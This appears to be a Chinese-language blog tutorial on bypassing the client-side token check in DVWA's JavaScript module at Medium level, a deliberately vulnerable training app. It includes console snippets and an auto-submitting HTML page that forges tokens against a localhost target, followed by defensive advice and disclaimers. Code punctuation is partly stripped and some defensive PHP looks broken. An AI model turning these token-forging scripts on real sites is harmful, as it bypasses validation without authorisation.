怎样制作网站,工装效果图网站,白云区新闻,室内设计师哪里找本文仅用于技术研究#xff0c;禁止用于非法用途。 Author:枷锁 文章目录 一、JavaScript漏洞核心原理二、各难度级别攻击手法对比三、攻击流程漏洞分析漏洞利用步骤方法一#xff1a;使用开发者工具控制台方法二#xff1a;直接调用页面函数 自动化攻击脚本防御建议 …本文仅用于技术研究禁止用于非法用途。 Author:枷锁 文章目录 一、JavaScript漏洞核心原理二、各难度级别攻击手法对比三、攻击流程漏洞分析漏洞利用步骤方法一使用开发者工具控制台方法二直接调用页面函数 自动化攻击脚本防御建议 四、防御措施与最佳实践五、漏洞危害与扩展风险六、法律与道德声明 本文环境Security LevelMedium 以下是关于DVWADamn Vulnerable Web Application中
JavaScript安全漏洞的详细介绍结合漏洞原理、攻击案例和防御措施的系统性总结 一、JavaScript漏洞核心原理
DVWA的JavaScript模块主要演示客户端逻辑缺陷导致的验证绕过问题其核心漏洞表现为
前端敏感逻辑暴露 关键验证逻辑如Token生成完全由前端JavaScript处理例如Low级别直接硬编码ROT13MD5加密规则。攻击者可通过浏览器开发者工具查看源码逆向生成合法Token。 缺乏服务器端验证 即使输入正确短语如success后端未对Token进行二次校验仅依赖前端生成的结果。 混淆代码的局限性 High级别虽采用JS混淆技术增加分析难度但通过反混淆工具如deobfuscatejavascript.com仍可破解逻辑。 二、各难度级别攻击手法对比
难度漏洞特征攻击方法关键代码片段示例Low明文生成规则ROT13MD5控制台调用generate_token()生成合法Tokenmd5(rot13(success)) → 38581812b435...Medium逻辑分离到外部JS文件字符串反转调用do_elsesomething(XX)拼接参数并反转字符串do_something(XXsuccessXX) → XXsseccusXXHigh混淆代码SHA256多层加密反混淆后按顺序执行token_part_1(ABCD,44)和token_part_2(XX)sha256(sha256(XXsseccus)ZZ) 三、攻击流程
发现漏洞点 提交success后提示Token无效通过浏览器控制台发现前端生成逻辑。
漏洞分析
Medium级别的JavaScript攻击机制已经改变 vulnerabilities/javascript/source/medium.php $page[ body ] . script src . DVWA_WEB_PAGE_TO_ROOT . vulnerabilities/javascript/source/medium.js/script;该文件只是引入了medium.js脚本 vulnerabilities/javascript/source/medium.js function do_something(e) {for(var t , n e.length - 1; n 0; n--) t e[n];return t
}
setTimeout(function() {do_elsesomething(XX)
}, 300);
function do_elsesomething(e) {document.getElementById(token).value do_something(e document.getElementById(phrase).value XX)
}关键点解析
do_something(e) 函数将输入字符串反转页面加载300毫秒后执行 do_elsesomething(XX)do_elsesomething(e) 函数 获取用户输入的短语在短语前后添加XX例如用户输入test → “XXtestXX”使用do_something反转整个字符串“XXtestXX” → “XXtsetXX”将结果设为token值
漏洞利用步骤
方法一使用开发者工具控制台
访问到目标页面点击F12 打开控制台输入以下脚本
// 1. 输入短语
document.getElementById(phrase).value success;// 2. 手动定义源函数确保可用
function do_something(e) {return e.split().reverse().join();
}// 3. 执行函数生成正确Token
const tokenValue do_something(XX success XX);
document.getElementById(token).value tokenValue;// 4. 提交表单
document.forms[0].submit();方法二直接调用页面函数
// 确保页面已加载超过300ms即do_elsesomething已执行过
// 设置短语
document.getElementById(phrase).value success;// 直接调用页面函数必须等到原函数已定义
do_elsesomething(XX);// 立即提交表单防止token被后续操作覆盖
document.forms[0].submit();自动化攻击脚本
!DOCTYPE html
html
headtitleDVWA JS Attack (Medium)/title
/head
bodyscriptasync function exploit() {// 目标URL根据实际修改const targetUrl http://localhost/dvwa/vulnerabilities/javascript/;// 获取页面内容const response await fetch(targetUrl);const html await response.text();// 提取token生成逻辑const scriptContent html.match(/function do_something\(e\)\s*\{[^}]*}/)[0] html.match(/function do_elsesomething\(e\)\s*\{[^}]*}/)[0];// 创建iframe执行目标页面代码const iframe document.createElement(iframe);iframe.style.display none;document.body.appendChild(iframe);// 构建iframe内容const iframeDoc iframe.contentDocument;iframeDoc.write(html);// 确保函数加载const script iframeDoc.createElement(script);script.textContent scriptContent;iframeDoc.head.appendChild(script);// 等待函数执行setTimeout(() {// 设置短语const phrase success;iframeDoc.getElementById(phrase).value phrase;// 调用token生成函数iframe.contentWindow.do_elsesomething(XX);// 获取生成的tokenconst token iframeDoc.getElementById(token).value;// 构建提交表单const form document.createElement(form);form.method POST;form.action targetUrl;const phraseInput document.createElement(input);phraseInput.name phrase;phraseInput.value phrase;const tokenInput document.createElement(input);tokenInput.name token;tokenInput.value token;const submitInput document.createElement(input);submitInput.type submit;form.appendChild(phraseInput);form.appendChild(tokenInput);form.appendChild(submitInput);document.body.appendChild(form);form.submit();}, 500);}exploit();/script
/body
/html防御建议 服务器端验证 session_start();
$validTokens [];if ($_SERVER[REQUEST_METHOD] POST) {$phrase $_POST[phrase];$token $_POST[token];// 基于服务端存储的有效token验证if (in_array($token, $validTokens) $token hash(sha256, $_SESSION[secret] . $phrase)) {echo Success!;} else {echo Invalid token!;}
}CSRF防护 // 生成一次性CSRF令牌
$_SESSION[csrf_token] bin2hex(random_bytes(32));// 在表单中包含
input typehidden namecsrf_token value? $_SESSION[csrf_token] ?避免敏感逻辑暴露 不要将核心验证逻辑放在客户端JavaScript中混淆或加密重要业务逻辑使用HTTPS防止中间人攻击
这些方法展示了如何利用DVWA中的Medium级别JavaScript漏洞同时强调了将关键验证逻辑放在服务器端的重要性。 四、防御措施与最佳实践
服务器端主导验证 所有敏感验证如Token生成应在后端完成前端仅作为交互界面。PHP示例$secret server_side_key;
if ($_POST[token] hash(md5, str_rot13($secret))) {echo 验证通过;
}禁用客户端敏感逻辑 避免在前端存储密钥或加密规则采用API接口动态获取临时Token。 增强代码保护辅助手段 对必要的前端加密逻辑使用WebAssembly或强混淆工具如JScrambler。 五、漏洞危害与扩展风险
此类漏洞可能引发
未授权操作攻击者伪造验证通过状态执行高权限功能如密码重置。逻辑漏洞组合利用结合CSRF或XSS实现自动化攻击链。供应链攻击若混淆JS依赖第三方库可能被注入恶意代码。 六、法律与道德声明
DVWA仅用于授权测试环境实际渗透测试需遵守
授权原则仅测试自有系统或获得书面授权的目标。数据保护禁止访问或泄露非授权数据发现漏洞后应及时报告。 引用来源 DVWA JavaScript模块Low级别分析 CSDN博客-JavaScript攻击分类 混淆JS解密与High级别绕过 Low级别Token生成逻辑 客户端验证缺陷的根本问题 反混淆与动态调试技术 XSS与CSRF关联风险 渗透测试法律边界 宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的 1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。 2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。 3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。 5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。 7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势 ✅ 先授权再测试 ✅ 只针对自己拥有或有权测试的系统 ✅ 发现漏洞后及时报告并协助修复 ✅ 尊重隐私不越界 ⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。
希望这个教程对你有所帮助记得负责任地进行安全测试。